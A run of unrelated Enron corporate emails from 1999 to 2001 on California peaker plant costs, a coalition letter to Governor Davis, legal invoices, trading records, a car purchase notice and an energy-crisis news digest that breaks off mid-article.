(Dan, can you make sure these charts get to Steve?)

Attached are some updated charts that are more accurate with respect to 
Enron's current estimated cost of peakers in California.  Costs are up and, 
to the extent you use these types of charts, you should use these updated 
ones.  If you do not, this information will get attached somehow to our 
November 22 comments.

In general, the higher the cost to build, the worse a price cap looks in 
terms of disincentives to pursue a project.

Background on the Change:

Our origination people  (Chris Calger)  inform us that building a peaker 
plant in California is now more expensive than Enron estimated back in 
August.  These "August" numbers were circulated in a presentation by Tim 
Belden and were  filed with the FERC.

The peaker charts to reflect a  25% increase in capital costs.  An increase 
in costs is due to things such as: 

 longer development time (Cal ISO has dragged out the schedule)
 local permitting constraints (sound abatement, strict construction schedules)
 labor costs in California
 emission offset credit costs are higher than previously expected

These higher costs, along with the uncertainty created by price caps, has 
caused Enron to stop pursuing certain peaker, including Pleasanton.  Although 
price caps increases uncertainty and increases the cost of capital, I have 
not updated the charts to reflect a higher cost of capital as a conservatism.

Alan Comnes

Our signature should not be on the letter.  I'll check and see.  I didn't 
hear back from anyone but you.

James D Steffes
09/16/2000 07:51 PM
To: Jeff Dasovich/SFO/EES@EES
cc:  
Subject: Re: IMPORTANT -- Letter to Governor Davis  

What ended up happening?

Jim

Jeff Dasovich
09/13/2000 12:48 PM
To: James D Steffes/HOU/EES@EES, Paul Kaufman/PDX/ECT@ECT, Mona L 
Petrochko/SFO/EES@EES, Susan J Mara/SFO/EES@EES, Sandra McCubbin/SFO/EES@EES
cc:  
Subject: IMPORTANT -- Letter to Governor Davis

FYI.  Please take a look.  I would not be inclined to sign the letter.  
Thoughts?

Best,
Jeff
---------------------- Forwarded by Jeff Dasovich/SFO/EES on 09/13/2000 12:46 

"Delaney Hunter" <dhunter@smithandkempton.com> on 09/12/2000 07:02:43 PM
Please respond to <dhunter@smithandkempton.com>
To: "Aaron Thomas (E-mail)" <athomas@newenergy.com>, "'Allan Lippincott'" 
<alippin@mail.arco.com>, "Ann Cohn (E-mail)" <cohnap@sce.com>, "'Ann Watson'" 
<anw@cpuc.ca.gov>, "Anna Ferrera (E-mail)" <Anna.Ferrera@SEN.CA.GOV>, "'Art 
Carter'" <debinorton@aol.com>, "'assistant for John Fielder'" 
<moravekj@sce.com>, "Barbara Barkovich (E-mail)" <brbarkovich@earthlink.net>, 
"'Becky Kilbourne'" <bakilbourne@calpx.com>, "Bill Booth (E-mail)" 
<wbooth@booth-law.com>, "'Bill Dombrowski'" <cra@calretailers.com>, "Bill 
Keese (E-mail)" <wkeese@energy.state.ca.us>, "Bill Zobel (E-mail)" 
<bzobel@mail.arco.com>, "'Bob Foster'" <fosterrg@sce.com>, "'Bob Houston'" 
<houstgrp@pacbell.net>, "Carolyn McIntyre (E-mail)" <cmcintyre@sempra.com>, 
"Carolyn Veal-Hunter (E-mail)" <carolyn.veal-hunter@asm.ca.gov>, "Catherine 
Hackney (E-mail)" <hacknece@sce.com>, "Charles Bacchi (E-mail)" 
<charles.bacchi@asm.ca.gov>, "'Craig Brown'" <brownc@epenergy.com>, "Dan 
Carroll (E-mail)" <dcarroll@dbsr.com>, "'Denice Cazalet'" <dcazalet@apx.com>, 
"Dennis Price (E-mail)" <priced@epenergy.com>, "'Denny Samuel'" 
<dsam@chevron.com>, "'Dominic DiMare'" <dominic.DiMare@calchamber.com>, 
"Dorothy Rothrock (E-mail)" <drothrock@cmta.net>, "'Ed Yates'" <ed@clfp.com>, 
"Eloy Garcia (E-mail)" <egarcia@ka-pow.com>, "Evelyn Elsesser (E-mail)" 
<eke@aelaw.com>, "Gary Heath (E-mail)" <gheath@eob.ca.gov>, "'Gordon 
McDonald'" <gordon.mcdonald@pacificorp.com>, "'Jack Flanigan'" 
<jackflanigan@flaniganlaw.com>, "Jack Gualco (E-mail)" 
<Jackson_Gualco@gualcogroup.com>, "'Jack Stewart'" <jstewart@cmta.net>, 
"'James Boyd'" <jim@resources.ca.gov>, "Jan Smutny-Jones (E-mail)" 
<smutny@iepa.com>, "Jeff Dasovich (E-mail)" <jdasovic@enron.com>, "'Jerry 
Jordan'" <jordan@cmua.org>, "Jim Cassie (E-mail)" <jcassie@sempra.com>, "Jim 
Groniger (E-mail)" <gronijn@texaco.com>, "Joe Lyons (E-mail)" 
<joseph.lyons@asm.ca.gov>, "'Joe Ronan'" <joer@calpine.com>, "John Bridges 
(E-mail)" <bridgesj@epenergy.com>, "'John Fielder'" <fieldejr@sce.com>, "John 
Fistolera (E-mail)" <johnf@ncpa.com>, "John Larrea (E-mail)" 
<jgl@cpuc.ca.gov>, "John Rozsa (E-mail)" <John.Rozsa@sen.ca.gov>, "John White 
(E-mail)" <vjw@cleanpower.org>, "'Joseph Alamo'" <jalamo@enron.com>, "'Julia 
Wright'" <jwright@smithandkempton.com>, "Karen Edson (E-mail)" 
<kedson@ns.net>, "Karen Jarrell (E-mail)" <kjarrell@smurfit.com>, "Karen 
Koyano (E-mail)" <kykoyano@calpx.com>, "'Karen Lindh'" <karen@klindh.com>, 
"Karen Mills (E-mail)" <kmills@cfbf.com>, "'Kari Harteloo'" <klc@aelaw.com>, 
"'Kathy Brandenburg'" <katherinebrandenburg@flaniganlaw.com>, "Kay Grosulak 
(E-mail)" <kgrosulak@sppc.com>, "Keith McCrea (E-mail)" <kmccrea@sablaw.com>, 
"Kevin Lynch (E-mail)" <Kevin.Lynch@pacifiCorp.com>, "Kevin Smith (E-mail)" 
<kevins@ncpa.com>, "Lawrence Lingbloom (E-mail)" 
<lawrence.lingbloom@sen.ca.gov>, "Lenny Goldberg (E-mail)" <lga@mother.com>, 
"Louis Szablya (E-mail)" <szablyal@epenergy.com>, "Marc Joseph (E-mail)" 
<mdjoseph@adamsbroadwell.com>, "Marwan Masri (E-mail)" 
<mmasri@energy.state.ca.us>, "Mary McDonald (E-mail)" <memcdonald@calpx.com>, 
"Michael Alcantar (E-mail)" <mpa@aelaw.com>, "Mike Florio (E-mail)" 
<mflorio@turn.org>, "'Mike Kahl'" <mikahl@ka-pow.com>, "Mona Petrochko 
(E-mail)" <mpetroch@enron.com>, "Pete Conaty (E-mail)" <pcaceo@pacbell.net>, 
"'Phil Nails'" <phil.nails@asm.ca.gov>, "Phil Stohr (E-mail)" 
<pstohr@dbsr.com>, "Ralph Cavanagh (E-mail)" <rcavanagh@nrdc.org>, "Randy 
Chinn (E-mail)" <randy.chinn@sen.ca.gov>, "Ray Thompson (E-mail)" 
<ray.thompson@sen.ca.gov>, "'Rick Counihan'" 
<rick.counihan@greenmountain.com>, "Robert Berry (E-mail)" <berry@apx.com>, 
"Robin Larson (E-mail)" <rlarson@caiso.com>, "Sheryl Carter (E-mail)" 
<scarter@nrdc.org>, "Steve Pike (E-mail)" <pikes@epenergy.com>, "Stu Wilson 
(E-mail)" <swilson@cmua.org>, "'Sue Mara'" <smara@enron.com>, "Susan Reeder 
(E-mail)" <sreeder@sppc.com>, "Terry Winter (E-mail)" <twinter@caiso.com>, 
"Thomas Dinkel (E-mail)" <tdinkel@retx.com>, "Tim Schmelzer (E-mail)" 
<Tschmelz@energy.state.ca.us>, "'Tommy Ross'" <rosst@sce.com>, "'Tony Braun'" 
<braun@cmua.org>, "Victoria Schaefer (E-mail)" <schaefvl@sce.com>
cc:  

Folks-
At today's meeting, those Group members who attended agreed that we should
indeed send the letter with changes reflecting the new legislation. Attached
is the newest draft of such a letter. We need to send this letter out FRIDAY
so in order to do that please look over the letter carefully and let me know
if your organization wishes to be included as a signatory. I need every set
of eyes out there to look this letter over for spelling, grammar and
content -- my eyes have seen it too many times and are apt to miss things.
So, here is the process ---

Let me know of any minor changes ASAP. If there are content changes please
email them to the ENTIRE group for sign off. Please understand that we want
to send this FRIDAY so we do not have a lot of time to make changes. When I
have a final draft I will ask people to fax signatures or send originals to
me by Friday.Thank you all for your help with this letter. We could not have
done it with out you.

We will be scheduling our next general meeting for mid October. Also, we
have finalized the dates for the Annual Retreat and will be sending out
packets with all the details next week. DJ and I are working on the agenda
so if you have a specific topic you would like covered please let us know.
As always, please send me an email or give me a call if you have any
concerns or questions about the letter or any other matter.

Thanks,
Delaney

 - ltr to governor -- options list.doc

Hi guys,

Was there a PUHCA analysis done?

Thanks,

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 11/09/2000 09:40 
From: Joel Ephross on 11/08/2000 08:21 PM
cc: tim.proffitt@enron.com 

Subject: Re: Enovate  

Hi Kay.
I undestand that Tim Proffitt is now working on this on the business side. 
Since I understand that Peoples is a utility, I wanted to understand the 
PUHCA analysis on the Enovate entity. Who handled this -- was it Phil Kinkaid 
at V&E?

	Kay Mann
	11/06/2000 12:02 PM
		
		 To: Joel Ephross/Corp/Enron@ENRON
		 cc: 
		 Subject: Re: Enovate

Joel,

Mary Lynn Ruffner has been involved, but to my knowledge has not reviewed the 
documents.  Matt Gockerman handles most of the tax stuff for enovate.

As for the structure, the commercial focus is on keeping things as simple as 
possible.  

If Sarah doesn't have a copy of the LLC agreement, I can get you one.

Lou Stoler was involved in the formation of enovate, although I coordinate 
most of their legal issues now.

I've seem a preliminary DASH, but I don't know where it sits now.

Hope this helps.

Kay  

From: Joel Ephross on 11/06/2000 11:22 AM
To: Kay Mann/Corp/Enron@Enron, Sarah Wesner/Corp/Enron@Enron
cc:  

Subject: Enovate

i faxed comments on the CA and note to Heather at Bracewell earlier today. 
Would like to see copies of the LLC Agreement and the propsed guaranty. 

Who from tax and accounting is reviewing this deal?

Is there a reason for member guaranties rather than equity funding agreements 
or note purchase agreements or any other structure?

Is a DASH/GASH prepared?

Who in legal handled the formation of the Enovate entity? [just in case I had 
questions about structure, etc.]

Wendall-- the litigation matter involving the City of Vernon needs to be 
broken out and sent directly to me.thanks
----- Forwarded by Richard B Sanders/HOU/ECT on 11/30/2000 12:24 PM -----

	Sheila Tweed
	11/29/2000 02:41 PM
		 
		 To: Richard B Sanders/HOU/ECT@ECT, Alan Aronowitz/HOU/ECT@ECT
		 cc: 
		 Subject: Outstanding Invoices---FYI regarding MDBE bills for your groups.

----- Forwarded by Sheila Tweed/HOU/ECT on 11/29/2000 02:37 PM -----

	"Wendell, Harlan" <HWendell@mdbe.com>
	11/29/2000 12:40 PM
		 
		 To: "Sheila R. Tweed (E-mail)" <Sheila.Tweed@enron.com>, "+Karen Jones 
(E-mail)" <Karen.E.Jones@enron.com>
		 cc: "Ogilby, Barry" <bogilby@mdbe.com>
		 Subject: Outstanding Invoices

Sheila and Karen,

As you requested, our accounting department has not been following up on our
outstanding invoices -- which at this point total about $700,000 (see
attached).  Sheila, I gather you told Barry you would try to get us current
before the end of November.  That would be great if you can do it.  (I can
give you wire info if you need it.)  If we don't make November (I know
you're swamped!), December would be OK, but it is very important to us that
we get caught up by year end.  Let me or Barry know if there's anything we
need to do.

Harlan

 <<ena outstandings.PDF>>

E-MAIL NOTICE

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Thank you.

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Postmaster@mdbe.com or call (415) 393-2000 and delete this email.

McCUTCHEN, DOYLE, BROWN & ENERSEN, LLP

http://www.mccutchen.com

 - ena outstandings.PDF

THE SOURCE
The eSource Bulletin	October 2001
COMPANY INFORMATION
?	Looking for a company's?.?
Business Description	Executives/Bios	Financials
Facilities	Competitors	Subsidiaries
SIC Codes	Government/SEC Filings	Lawsuits
Global Securities	Public Records	Commodity Pricing
Technical Publications	Intellectual Property	News
Credit Reports	Economic Analysis	Global Industries
Market Research Reports	Analyst Reports	Strategic Alliances/JVs
Global Credit Ratings	Mergers & Acquisitions	Syndicated Loans
Restructures	Corporate Governance	Venture Capital

Information is available for public, foreign and private companies on a real-time, historical and forecast basis.
?	Where do I look for general information on a company?  Company website, Hoovers, Dow Jones Interactive, Nexis-Company Dossier, Yahoo market guide
?	Where are corporate financials or equity information?  SEC filings (10-K, 10-Q), Analyst reports, Global Disclosure, Dunn & Bradstreet*, Million Dollar Database*, Bloomberg*, Firstcall*, investex*, Multex*
?	Where can I find a company's credit rating?  Standard & Poors' , Moody's and Fitch
?	I cannot find any information on a company, why not?
1.	Check the spelling of the company name
2.	The company is a subsidiary and/or its parent is a foreign entity (non US)
3.	It may be a Private Company (information is not readily available)
4.	Contact eSource (http://esource.enron.com/RequestSearch.asp)  with your detailed request.
	Web Sources	Proprietary Databases
General:	Bloomberg
www.yahoo.com	Dialog
www.fool.com	Dun & Bradstreet
www.redherring.com	FactSet
www.corporateinformation.com	FirstCall
www.allbusiness.com	FIS Online
www.moneycentral.msn.com	Global Access
General (need password): 	Hoover's
www.hoovers.com	Investex
www.djinteractive.com	MillionDollarDatabase
www.nexis.com	Moody's
Financial:	Multex
www.areport.com	SDC
www.sec.gov	Standard & Poors
www.financials.com	Skyminder
www.tenkwizzard.com	LiveEdgar
www.usatoday.com	

*Fee-based, available through eSource: 713-853-7877
Check out these and other great web sources at http://esource.enron.com

Zimin, thanks for the meeting yesterday, your help is going to be very 
valuable for the analysis of our deal.  

Below you will find the names of the comparable companies you can use for the 
study of the volatility:

Cablevision
Comcast
Cox Communications
MediaOne Group
Rogers Communications
Time Warner

Morgan Stanley Dean Witter published a memorandum on  January 5/00   "US 
Investment Research: Cable Television"  where you can get detailed 
information on the performance of these companies

We will be working on the histogram during the weekend and we will be sending 
the results to you as soon as possible.
Regarding the quotes for the loan guarantee we will be getting them on Monday.

Please let me know if you will need any  additional information for the 
volatility study

Thanks and Regards,  

Maria Elena

If your job ever gets you down, just click the link below.

http://www.studentmagazine.com/thisweek/thisweek_article.asp?articleID=213

----- Forwarded by Sara Shackleton/HOU/ECT on 11/27/2000 07:02 PM -----

New meeting request from Richard Sage

  11/28/2000 10:00 AM Local Time
  11/28/2000 11:00 AM Local Time

Title: New US Entities (Denis's office)
Location:  -No room information available-

Chair:  Richard Sage/LON/ECT

To (required): David A Wall/Risk Mgmt/LON/ECT, Denis O'Connell/LON/ECT, Rod 
Nelson/LON/ECT, Ian Sloman/LON/ECT, Kellie Naven/LON/ECT, Sara 
Shackleton/HOU/ECT
cc (optional): Erica Gut/LON/ECT

Discuss implications of implementing entities of the attached.

Howard, 

The Park  and Ride deals should be booked to a transport contract.  Desk to 
desk deals should be on the transport contract also.

D

Howard B Camp
01/27/2000 10:17 AM
cc: Charlotte Hawkins/HOU/ECT@ECT, Anita Luong/HOU/ECT@ECT, Howard B 
Camp/HOU/ECT@ECT, Rhonda Robinson/HOU/ECT@ECT 
Subject: UA4

Daren,
Just a quick note to follow up on UA4 issues.

For desk to desk deals, we are keeping the entry on co 89 since there is not 
a Co 16 contract with Co 16 and attaching an ECT transport contract to the 
backscreen.

On Park and ride deals, I am under the impression that the Park and ride deal 
would be booked to an 089 contract and cleared either intra month or in a 
subsequent month.
If this is true, was it done by reversing out or offsetting the previous Co 
89 entry.  I am not sure whether an ECT transport should be attached.  I hope 
you have some insight on this issue.

Let me know
HC

POSREP HOEGH GALLEON, DATE: May 4th. 1200lt.

A) Position at noon        : N 35 28 E 015 07
B) Dist. from last noon    : 459 n.miles
C) Dist. to go to next port: 3369 n.miles (Qalhat)
D) Eta next port           : May 13th. 0900lt.
E) 1:Average sea/weather   : Wind:SSW 4 Sea:SSW 3
   2:Average speed         : 19,13 knots / average RPM 93,97
   3:B.O.G. consumed       : Nil
   4:F.O. consumed         : 161 mt.
   5:G.O. consumed         : Nil

Eta Port Said 6th. 1600 local time.

Brgds Oe. Hansen

See the attached memo which represents an attempt to regroup after the hectic last few weeks.

Attached below are the attachments referenced in the memo.

(And once again, your favorite forms!)

Mary Cook

---------------------- Forwarded by Chris Germany/HOU/ECT on 12/27/99 11:17 

pdrexel@columbiaenergygroup.com on 12/27/99 08:00:55 AM
To: Chris Germany/HOU/ECT@ECT
cc:  
Subject: January 2000 Tn Zn 6 volumes

---------------------- Forwarded by Paul Drexelius/CES/ColumbiaGas on 12/27/99
08:07 AM ---------------------------

Marianne Stiles
12/22/99 03:58 PM

To: Karen Bobb/CES/ColumbiaGas@ColumbiaGas, Phil
Villagomez/CES/ColumbiaGas@ColumbiaGas
cc: Paul Drexelius/CES/ColumbiaGas@ColumbiaGas, Noel
Bartlo/CES/ColumbiaGas@ColumbiaGas, Melissa
Flewellyn/CES/ColumbiaGas@ColumbiaGas, Brian
Perrone/CES/ColumbiaGas@ColumbiaGas, Frank Kronz/CES/ColumbiaGas@ColumbiaGas

Here are the approximate January daily volumes for each of the gates.   Please
do not forget that January 1 and January 2 will be lower because of the
weekend/holiday.    I know you wanted an exact volume for 1/1 but I will not
have that for all Tennessee Zn 6 markets until Monday, 12/27.  We will need a
range from 2800 dth to 3600 dth per day.   This large swing is normal for 
these
types of markets due to weekends, weather, and customer situations.

 - tn012000.xls

Crude 24X7 WTI Marketing Effort

Trade Count: 
	366	Trades 	
	15.92	Millions of Barrels								
	11	Counterparties Transacting Today					
	29	Counterparties Transacting to Date	

Comments:
Record day for both number of trades and volume.
				
<Embedded Microsoft Excel Chart>

Mike still has about 6 deals to put in, and those are two of them. It should 
just be a minute. 

I'm killing a deal right now so my deal entry is tied up - who's the trader 
on 541368?

03/08/2001 01:44 PM
cc:  

Subject: natsource checkout

541368
broker has coral for the cp

missing deals for mike:

buy idaho
Q3
25 mw
280.00
mid c
light load

sell aep
Q3
25 mw
290.00
mid c
light load

$2MM for what????

From: 	Ambler, John  
Sent:	Wednesday, October 24, 2001 11:37 AM
To:	Geaccone, Tracy
Subject:	RE: 2002 Plan Lay Presentation Run Through 

Tracy,

Thank you!  These meetings are very helpful in better understanding the business.  I'm currently scheduled to be in Korea, but may change plans and will let you know.  

By the way, Rod had suggested that I hold off on bothering you about my group's budget until after you complete this enormous endeavor.  However, FYI, I had submitted an approximately $2 million budget through Steve Kean's group and about $300,000 was submitted for Gina Taylor's group in the ETS budget.  I'm probably going to identify some reductions in these numbers.  Please let me know when you need details.

Thanks,

John

From: 	Geaccone, Tracy  
Sent:	Tuesday, October 23, 2001 4:05 PM
To:	Howard, Kevin A.; Ambler, John
Subject:	FW: 2002 Plan Lay Presentation Run Through 

Rod thought you might want to sit in on this meeting.

Thanks

Tracy

Sent:	Thursday, October 18, 2001 11:07 AM
To:	McCarty, Danny; Cordes, Bill; Stanley, Brian; FOWLER, PEGGY; Garrison, John L; Hughes, James A.; Umanoff, Adam
Cc:	Anderson, Michael; Sommers, Jeffrey E.; Peters, Jerry; Copeland, Erin; Dodson, Keith; Piro, Jim; Lindholm, Tod A.; Armstrong, Julie; Stark, Cindy; Hayslett, Rod; Stark, Cindy
Subject:	2002 Plan Lay Presentation Run Through 

Stan would like to have a run through of the presentation for the Lay reviews on November 1.  Please see the agenda attached below for your respective group's time.  We will be meeting in EB 49C2.  If you need to call in, the number is below.
If you can not attend, please send a representative.  

 << File: Lay Agenda.xls >> 
CALL IN:
PARTICIPANT CODE:  277217
  *  Toll Free Dial In Number:  (800)403-2002

If you are calling in, please send your presentation to me ahead of time so I can make copies.   

Please feel free to invite anyone else you want to attend.  If you have any questions, I can be reached at 713-853-7372.

Thanks

Tracy          

Here it is. I figured Steve and Jeff had agreed this. Greg asked about it and 
told him I knew nothing about it. He wasn't thrilled!

David
From:  Oxley, David  
Sent: Tuesday, June 26, 2001 4:15 PM
To: Whalley, Greg
Subject: FW: MD PRC Committee

FYI
From:  Sera, Sherri  
Sent: Tuesday, June 26, 2001 3:34 PM
To: Shankman, Jeffrey A.; Piper, Greg; McMahon, Jeffrey; Mcconnell, Mike; 
McCarty, Danny; Leff, Dan; Lavorato, John; Kitchen, Louise; Fallon, Jim; 
Dietrich, Janet; Cox, David; Buy, Rick; Brown, Michael - COO London; Bowen 
Jr., Raymond
Cc: Kean, Steven; Oxley, David
Subject: MD PRC Committee

It has been decided to again expand the MD PRC committee beyond the Policy 
committee members to include other MDs.  Each of you has been chosen to 
participate in the mid-year MD PRC to take place on Tuesday, July 24.  David 
Oxley and his team will provide you with pertinent details of the meeting.  
Please let Jeff Skilling know if you have a conflict or any concerns 
regarding your participation in this process.  SRS

Dave and Tom,

Attached below is our proposal for helping to buy back energy you may not need.  It incorporates netting out Washington and Fallon Volumes for the coinciding period.  It also provides prices for the period that overlaps your 50 MW purchase from us and the cities needs beyond that period.

We can disaggregate this transaction but I thought it may make sense to net out volumes so you are not incurring transaction costs (i.e. bid/offer spread) for those volumes.  This is all delivered to Mona, but I think we can get transmission to Gonder for Fallon's energy requirements for a small premium from a variety of players.  

The proposal is in spreadsheet format.  These are preliminary prices and a first crack at the structure, so I want your feedback on how to enhance this proposal.

Happy Thanksgiving!

Paul Choi

Please first thing complete the list of counterparties and assigned attorneys with Jay and get it to me.  Thanks.

Mary Cook

Kristin Gandy has sent you an Evite Invite!

To view your Invite, simply click the following Web address:
http://evite.citysearch.com/r?iid=EWFPZQLYXVCWYUZGPPNX

This Evite Invite is covered by Evite's privacy policy*.
To view this privacy policy, click here:
http://evite.citysearch.com/privacy

Workin' for the weekend? - With only two days to call your
own, you've got to make them count. The Citysearch Weekend Guide makes
workin' for the weekend worth it.
http://weekend.citysearch.com?cslink=nsltr-evite-invite

Need some help?  See below!
*********************************

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link.  No problem!  You can copy and paste the Web address into your Web
browser.

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b. Select the EDIT menu and choose COPY
c. Go to your Web browser and *click inside* the window where
you normally type a Web address to visit
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It's that easy! :-)

If you would like further assistance, we're happy to help - please send
E-mail to support@evite.citysearch.com

* Updated 01/09/01.

---------------------- Forwarded by V Charles Weldon/HOU/ECT on 04/20/2001 05:39 PM ---------------------------

ConsumerCare@autobytel.com on 04/20/2001 07:35:30 AM
To:	v.charles.weldon@enron.com
cc:	 
Subject:	Your autobytel.com Purchase Request #8334234

TO        : charlie weldon, Houston, TX
E-MAIL    : v.charles.weldon@enron.com
CUSTOMER #: 6048850

Dear charlie,

Autobytel.com Customer Service would like to thank you for selecting our company to assist with your request for a 2001 Chevrolet Tahoe.

Based upon the residence information you provided to us, your request has been assigned to the following Autobytel.com Accredited Dealer in your area:

*** Mac Haik Chevrolet ***  in Houston, TX.

Mac Haik Chevrolet will provide you with a pleasant buying experience and a great value.  The trained Autobytel.com Manager at Mac Haik Chevrolet, that will be contacting you within one (1) business day*, is Barry Cook.

For the names and locations of other Autobytel Accredited Dealers  to service your request, please refer to the dealer listing below. In contacting them, please make sure that you ask specifically for the Autobytel.com Manager whose name and phone number is listed.

To assist you further, we invite you to visit our Finance page and let us help you save even more money on the purchase or  lease of your new or used vehicle.  To receive a free no-obligation quote from multiple lending institutions who are all competing for your business, with one secure and easy application, simply go to http://www.autobytel.com/index.cfm?sction=finance

It is important to us that you have a quality experience.  Please ask for our assistance if you have not heard from the initially assigned dealer within two (2)business days of sending in your purchase request, or if any of your other expectations have not been met.

You may reach your Customer Service Specialist by e-mailing: ConsumerCare@autobytel.com, or by phone at (888) 422-8999.

Autobytel.com Customer Service

You may also contact any of the following Accredited Autobytel.com Dealers to assist you with your vehicle request:

Covert Country of Taylor: Hutto, TX - Contact Winston "Flash" Gordon at (512) 759-1515
Randall Noe Chevrolet Pontiac Oldsmobile: Kaufman, TX - Contact Faron Young at (972) 932-2195
Covert Chevrolet - Oldsmobile: Bastrop, TX - Contact Bruce Evans at (800) 937-7076
Van Chevrolet - Geo: Carrollton, TX - Contact Charles Hoskins at (972) 389-6700
Graff Chevrolet: Grand Prairie, TX - Contact Gerald Hatley at (972) 343-1216
Mac Haik Chevrolet: Houston, TX - Contact Barry Cook at (281) 497-6600
Norman Frede Chevrolet Company: Houston, TX - Contact Justin McGaughey at (281) 486-2200
Robbins Nissan: Humble, TX - Contact Jim Massey at (281) 446-3181
El Dorado Chevrolet: Mc Kinney, TX - Contact Don Kennedy at (972) 569-0101
J K Chevrolet: Nederland, TX - Contact James McNutt at (409) 722-0443 x336
Reliable Chevrolet II, LP: Richardson, TX - Contact Steve Lumbley at (972) 952-1500
Kellogg Chevrolet - Honda: San Benito, TX - Contact Skip Maggard at (956) 399-2491
Champion Chevrolet: Austin, TX - Contact Melissa Hornsby at (512) 345-7890
Musser Motors: Terrell, TX - Contact Roger Cermack at (972) 524-2663
Rudolph Automotive Corporation Inc.: El Paso, TX - Contact Greg Deitch at (915) 534-9995
Coleman Autoplex: Gatesville, TX - Contact Jim Ed Draper at (254) 865-8941

*If you did not submit a purchase request through Autobytel.com, we apologize for sending this e-mail in error.  Please reply to this message and type "REMOVE" in the subject line.  We will remove your e-mail address from our files within five business days, and you will not receive any further correspondence pertaining to this purchase request.

Today's News....Thanks - Jean

Wall Street Journal [THIS IS A GREAT ARTICLE!!!!]

Contra Costa Times, May 22, 2001, Tuesday, STATE AND REGIONAL NEWS, K4988,
????803 words, ISO will give advanced warning of power blackouts, By Mike
????Taugher and Andrew LaMar

Copley News Service, May 22, 2001, Tuesday, State and regional, 1066 words,
????State sends $533.2 million to company, part of April bill, Ed Mendel,
????SACRAMENTO

Copley News Service, May 22, 2001, Tuesday, State and regional, 308 words,
????Business customers criticize proposed 29 percent SDG&E rate hike, Craig D.
????Rose, SAN DIEGO

Los Angeles Times, May 22, 2001 Tuesday, Home Edition, Page 12, 426 words,
????Davis' Hiring of Consultants

Los Angeles Times, May 22, 2001 Tuesday, Home Edition, Page 8, 621 words,
????The State; ; GOP Criticizes Davis' Choice of PR Aides; Capitol: 
Legislative
????leaders call the pair political operatives who are too partisan to 
represent
????the state during energy crisis., DAN MORAIN, TIMES STAFF WRITER, 
SACRAMENTO

Los Angeles Times, May 22, 2001 Tuesday, Home Edition, Page 8, 584 words,
????The State; ; Legislators Set to Sue Federal Energy Agency; Power: 
Lawmakers
????try a new idea: a lawsuit arguing that blackouts pose danger to people, 
law
????enforcement and even water supply., DAN MORAIN, TIMES STAFF WRITER,

Los Angeles Times, May 22, 2001 Tuesday, Home Edition, Page 1, 892 words,
????State to Issue Warnings of Power Outages; Electricity: Cal-ISO says it 
will
????try to give residents and businesses 24-hour notice of probable 
blackouts.,
????MIGUEL BUSTILLO, NANCY VOGEL, TIMES STAFF WRITERS, SACRAMENTO

Los Angeles Times, May 22, 2001 Tuesday, Home Edition, Page 1, 1406 words,
????CAMPAIGN 2001; Gas Prices, Not Politics, Preoccupy Valley Voters, SUE FOX,
????TIMES STAFF WRITER

Newsday (New York, NY), May 22, 2001 Tuesday, NASSAU AND SUFFOLK EDITION,
????Pg. A18, 374 words, And Now, Today's Blackout Forecast, THE ASSOCIATED 
PRESS

The San Francisco Chronicle, MAY 22, 2001, TUESDAY,, FINAL EDITION, NEWS;,
????Pg. A16;, 167 words, GILROY; ???Davis licenses 8th emergency power plant

????Pg. A13, 669 words, Power plant 'ramping' to be probed; ???State senators
????also expected to file suit, charging federal regulators with failing to
????ensure fair rates, Christian Berthelsen

????Pg. A1, 1527 words, Half-hour notice of blackouts planned; ???FAST ALERTS:
????Power grid operator may send voice, e-mail messages, Lynda Gledhill,
????Sacramento

USA TODAY, May 22, 2001, Tuesday,, FIRST EDITION, NEWS;, Pg. 5A, 492 words,
????Americans anxious about gas prices and energy woes, skeptical of Bush,
????Richard Benedetto

The Washington Times, May 22, 2001, Tuesday, Final Edition, PART A; NATION;
????INSIDE POLITICS; Pg. A6, 1242 words, Greg Pierce; THE WASHINGTON TIMES

Chicago Tribune, May 22, 2001 Tuesday, NORTH SPORTS FINAL EDITION, News;
????Pg. 6; ZONE: N, 444 words, California to issue blackout forecasts, By
????Jennifer Coleman, Associated Press., SACRAMENTO

The Associated Press State & Local Wire, May 22, 2001, Tuesday, BC cycle,
????5:39 AM Eastern Time, State and Regional, 506 words, One power plant is
????begun as another is finished, PHOENIX

????3:48 AM Eastern Time, State and Regional, 718 words, Developments in
????California's energy crisis, By The Associated Press

????3:05 AM Eastern Time, State and Regional, 576 words, California will
????forecast blackouts and warn the public, By JENNIFER COLEMAN, Associated
????Press Writer, SACRAMENTO, Calif.

AP Online, May 21, 2001; Monday, Domestic, non-Washington, general news
????item, 793 words, AP Top News at 7 p.m. EDT Monday, May 21, 2001, ADAM 
JOYCE

AP Online, May 21, 2001; Monday, International news, 678 words, Monday's
????Canada News Briefs, The Associated Press

The Associated Press, May 21, 2001, Monday, BC cycle, Domestic News, 1473
????words, Infrastructure strains tearing at West, By PAULINE ARRILLAGA,
????Associated Press Writer, LAS VEGAS

The Associated Press, May 21, 2001, Monday, BC cycle, Domestic News;
????Business News, 648 words, California will forecast blackouts and warn the
????public, By JENNIFER COLEMAN, Associated Press Writer, SACRAMENTO, Calif.

The Associated Press, May 21, 2001, Monday, BC cycle, Domestic News, 229
????words, Survey: Gov. Davis' ratings, public confidence take dive, By ALEXA
????HAUSSLER, Associated Press Writer, SACRAMENTO, Calif.

The Associated Press State & Local Wire, May 21, 2001, Monday, BC cycle,
????State and Regional, 720 words, Grid officials, others studying planned
????blackouts, By JENNIFER COLEMAN, Associated Press Writer, SACRAMENTO

????State and Regional, 901 words, 'Baseline' becoming key word for electric
????customers, By KAREN GAUDETTE, Associated Press Writer, SAN FRANCISCO

????State and Regional, 273 words, New poll suggests Californians haven't been
????this gloomy for years, SAN FRANCISCO

????State and Regional, 2497 words

CNBC/Dow Jones - Business Video, CNBC/DOW JONES BUSINESS VIDEO, May 21,
????2001, Monday, Transcript # 052100cb.y50, Business, 807 words, PG&E 
Chairman
????& CEO - Interview, Robert Glynn, Mark Haines, Joe Battipaglia

CNN, CNN INSIDE POLITICS 17:00, May 21, 2001; Monday, Transcript #
????01052100V15, News; Domestic, 7389 words, Bush Administration Endorses
????Mitchell Committee's Recommendations for Ending Mideast Violence, Mark
????Baldassare, Judy Woodruff, David Ensor, Major Garrett, William Schneider,
????Kelly Wallace, Jonathan Karl, Kate Snow, Rusty Dornin, Bruce Morton

Power Drain: The U.S. Energy Crisis

No Score in California Blame Game: Probes 
Find Little Proof Power Companies Colluded

By JOHN R. EMSHWILLER 
Staff Reporter of THE WALL STREET JOURNAL

LOS ANGELES -- California may be struggling to keep its lights on, but one 
thing there is no shortage of is accusations over who is to blame for an 
electricity crisis that has sent power prices skyrocketing.

